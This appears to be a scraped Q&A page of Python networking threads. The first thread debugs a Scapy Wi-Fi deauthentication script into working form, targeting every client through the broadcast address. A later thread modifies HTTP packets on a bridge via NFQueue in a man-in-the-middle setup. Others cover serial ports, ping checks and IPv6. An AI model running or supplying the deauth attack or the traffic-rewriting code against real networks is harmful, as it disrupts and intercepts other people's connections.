When I run this function I am still able to refresh any page, watch videos online, the devices on my network do not get disconnected, isn't this function supposed to dos all devices over the access point, I can see the packets in wireshark but i do still have internet connection
why is it not working?
#!/usr/bin/env python3
from scapy.all import (
RadioTap, # Adds additional metadata to an 802.11 frame
Dot11, # For creating 802.11 frame
Dot11Deauth, # For creating deauth frame
sendp # for sending packets
)
def deauth_me(target , bssid):
dot11 = Dot11(addr1=bssid, addr2=target, addr3=bssid)
frame = RadioTap()/dot11/Dot11Deauth()
sendp(frame, iface="wlan0mon", count=100000, inter=0.900)
pass
deauth_me(target="ff:ff:ff:ff:ff:ff" , bssid="6c:6f:26:96:57:3d")
I took a look at the code you provided and I did notice a problem.
The fix is to change the values of addr1 and addr2 when you initialize the dot11 variable.
Check out this StackOverflow post with the MAC addresses it gives to addr1, addr2, and addr3. In summary, addr1 should be the MAC address of the target and addr2 & addr3 should be the BSSID MAC address.
Working code:
#!/usr/bin/env python3
from scapy.all import (
RadioTap, # Adds additional metadata to an 802.11 frame
Dot11, # For creating 802.11 frame
Dot11Deauth, # For creating deauth frame
sendp # for sending packets
)
def deauth_me(target , bssid):
dot11 = Dot11(addr1=target, addr2=bssid, addr3=bssid)
frame = RadioTap()/dot11/Dot11Deauth()
sendp(frame, iface="wlan0mon", count=100000, inter=0.90)
pass
deauth_me(target="ff:ff:ff:ff:ff:ff" , bssid="6c:6f:26:96:57:3d")
I tested this code and was able to successfully disconnect my phone from a WiFi network.
Another issue you might run into is that your wireless interface is operating on a different channel than your access point. Unfortunately, scapy won't tell you if you are on the wrong channel. I was only able to find this out by using aircrack-ng.
If you use aircrack-ng and the channels are not aligned, the error will be something like this (X and Y would be replaced with the actual channels):
wlan0mon is on channel X, but the AP uses channel Y
And if you want to change the channel your wireless interface uses, all you have to do is:
iwconfig wlan0mon channel Y
Related
I am very new, learning Python specifically geared toward hardware (serial port and TCP/IP device) testing.
I have been trying to get PySerial based code to work and keep hitting roadblocks. Running Python 3.10.8 on Windows 10.
I worked through the 'import serial' problem (uninstalled and reinstalled Python); the serial.Serial problem (needed to add 'from serial import *). Now, it seems like all of the read syntax does not work. All I want to do at this point is open the port, read and print data - from here I will start working on which data I want).
Here is the code I am working with (this was found in a couple of places on the internet):
#test_sport
import serial
from serial import *
s = serial.Serial(port='COM9', baudrate=9600)
serial_string = ""
while(1):
# Wait until there is data waiting in the serial buffer
if(serialPort.in_waiting > 0):
# Read data out of the buffer until a carraige return / new line is found
serial_string = serial.readline()
# Print the contents of the serial data
print(serial_string.decode('Ascii'))
# Tell the device connected over the serial port that we recevied the data!
# The b at the beginning is used to indicate bytes!
#serialPort.write(b"Thank you for sending data \r\n")
Running this results in an error on serialPort.in_waiting (says serialPort not defined) if I change that to serial.in_waiting (says serial has no attribute 'in_waiting' (PySerial API site says this is correct(?). I've also tried simple commands like serial.read(), serial.readline(), ser.read(), etc. All fail for attributes.
Is the PySerial documentation online current? Does anyone know where to find basic serial port examples?
Thank you!
So I am trying to create sort of a MitM setup to alter the content of TCP (HTTP) packets.
I current have a Linux bridge that looks as follows:
IoT Device ---(eth)---- Laptop ----(usb)---- 3G Modem
The bridge is setup using the normal Linux procedure (i.e., ip link) and up to now everything is working fine and the bridge is transparent for both ends.
Next, I forwarded all packets to the NFQueue:
iptables -A FORWARD -j NFQUEUE --queue-num 0
and parse them with Python:
In Python 3
def print_and_accept(pkt):
print(pkt)
http_packet = scapy.IP(pkt.get_payload())
if http_packet.haslayer(scapy.Raw) and http_packet.haslayer(TCP):
if http_packet[TCP].dport == 80 or http_packet[TCP].sport == 80:
http_packet[TCP].payload = scapy.Raw(http_packet[TCP].payload.load.decode().replace("text","txet"))
print(http_packet[TCP].payload)
del http_packet[IP].chksum, http_packet[TCP].chksum
pkt.set_payload(bytes(http_packet))
print('>> Payload Changed')
pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, print_and_accept)
try:
nfqueue.run()
except KeyboardInterrupt:
print('exiting')
nfqueue.unbind()
In Python 2 one can do the same but then use pkt.set_verdict_modified(nfqueue.NF_ACCEPT, str(http_packet), len(http_packet)) at the end.
However, when inspecting packets via Wireshark (captured on the bridge), I still see the original payload. I already tried many, many proposed solutions but nothing seems to work.
PS: If I use the workaround of drop() and send() via scapy, I don't even see the packet in Wireshark.
Thank you in advance.
UPDATE: For anyone looking for the answer, it seems that I was capturing the new (modified) packets on the wrong interface with Wireshark. Just change the interface and Voila.
Getting a set of variables on a tkinter (Python GUI) entry box (on a RPi) in order to ping an ip address, check a usb device's presence(with VID & PID) and to check a com port.
However when the GUI takes in the data, the function runs, but the variables taken from the entry are not executed properly.
i tried converting the input of ip address to string and vid and pid to int, same for com port entries. but the code still won't run.
scripts to ping IP and to check for usb devices(not the full code):
response = os.system("ping -c 1 " + self.ip_address)
pings ip and returns answer according to response
dev = usb.core.find(idVendor=self.vid, idProduct= self.pid)
checks usb and returns answer according to response
tkinter settings:
entry_IP = Entry(second_frame, bg="white")
entry_IP.grid(row=4,column=1,padx=0,pady=5)
str_IP=entry_IP.get()
main code:
RM=classname(str_IP,int_VID,int_PID)
RM.check_IP()
RM.check_USB()
i expected the code to run or not, but instead its always telling me the device(s) is not there.
when i run the function alone without a tkinter entry it works just fine !
When you define str_IP, the entry contains nothing, and so it will equal to an empty string. You should retrieve the IP directly by passing RM=class name(entry.get(),...)
I am having two Ethernet card installed on my PC, thus having two interfaces. These two interfaces are connected to Router's two interfaces. Such that:
PC_INT_A --- Network1 ---> ROUTER_INT_1
PC_INT_B --- Network2 ---> ROUTER_INT_2
All the interfaces are fully configured for IPv6 communication. Ping6 is working well through command line.
But when I am trying to send through scapy, while both the networks are connected. I am able to send only first interface in the code. Or I have to disconnect one particular network.
See Below code:
def ns_with_ll(src, dst):
base = IPv6(src=src, dst=dst, nh=58, hlim=255)
ns = ICMPv6ND_NS(tgt=dst)
ll = ICMPv6NDOptSrcLLAddr()
pkt = base / ns / ll
return pkt
if __name__ == '__main__':
SRC_A = 'IPV6_ADDR_OF_ETH0'
SRC_B = 'IPV6_ADDR_OF_ETH1'
DST_1 = 'IPV6_ADDR_ROUTER_INT_1'
DST_2 = 'IPV6_ADDR_ROUTER_INT_2'
ns_a = ns_with_ll(SRC_A, DST_1)
ns_b = ns_with_ll(SRC_B, DST_2)
sr(ns_a, iface='eth0')
sr(ns_b, iface='eth1')
The above code gives me output as follows:
Begin emission:
*Finished sending 1 packets.
Received 1 packets, got 1 answers, remaining 0 packets
Begin emission:
Finished sending 1 packets.
..........................................................................
It keeps waiting for the answer from eth1 interface.
If i change the order of packet sending in code like I am sending packet to eth1 first. I receive answer from eth1 and it keeps waiting for answer from eth0.
I also check in wireshark, but I do not receive any packet for the second interface.
I have also tried same with sending ICMPv6EchoRequest, it behaves in the same way.
Can somebody tell me, how to simultaneously work with multiple networks using scapy. I am using scapy version 2.4.2 with python 3.4?
Hi!
In Scapy, you have two ways of sending packets. The "layer 3 way", which uses the internal routing table (conf.route), and the "layer 2 way", which sends a packet on a given interface (conf.iface being the default).
send() is a "layer 3" function (so it relies on Scapy's routing table), while sendp() is a "layer 2" function (it has an iface= optional parameter and will use conf.iface by default). That's the same for sr() and srp().
So in your case, using srp() instead of sr() and providing the Ether() layer should work:
if __name__ == '__main__':
[...]
srp(Ether() / ns_a, iface='eth0')
srp(Ether() / ns_b, iface='eth1')
I want to get a list of the devices which are connected to a COM Port. Instead of having python -m serial.tools.list_ports with the output COM1 COM2 for example, I want to have an output like Arduino_Uno Arduino Due etc. (Like the Arduino Gui do it, for example).
I found some answers for listing the COM Ports (like Listing available com ports with Python ), but no answer for my problem.
#J.P. Petersen is right - the serial port does not by itself provide that information. But the USB specifications allows some information to be sneaked in, and
serial.tools.list_ports.comports() thankfully returns that. The following code snipped is from my ArduinoBase class that works under Windows and Linux and does what you are looking for, i.e. it gives you Arduino Uno and Arduino Due descriptions as appropriate
def listPorts():
"""!
#brief Provide a list of names of serial ports that can be opened as well as a
a list of Arduino models.
#return A tuple of the port list and a corresponding list of device descriptions
"""
ports = list( serial.tools.list_ports.comports() )
resultPorts = []
descriptions = []
for port in ports:
if not port.description.startswith( "Arduino" ):
# correct for the somewhat questionable design choice for the USB
# description of the Arduino Uno
if port.manufacturer is not None:
if port.manufacturer.startswith( "Arduino" ) and \
port.device.endswith( port.description ):
port.description = "Arduino Uno"
else:
continue
else:
continue
if port.device:
resultPorts.append( port.device )
rdescriptions.append( str( port.description ) )
return (resultPorts, descriptions)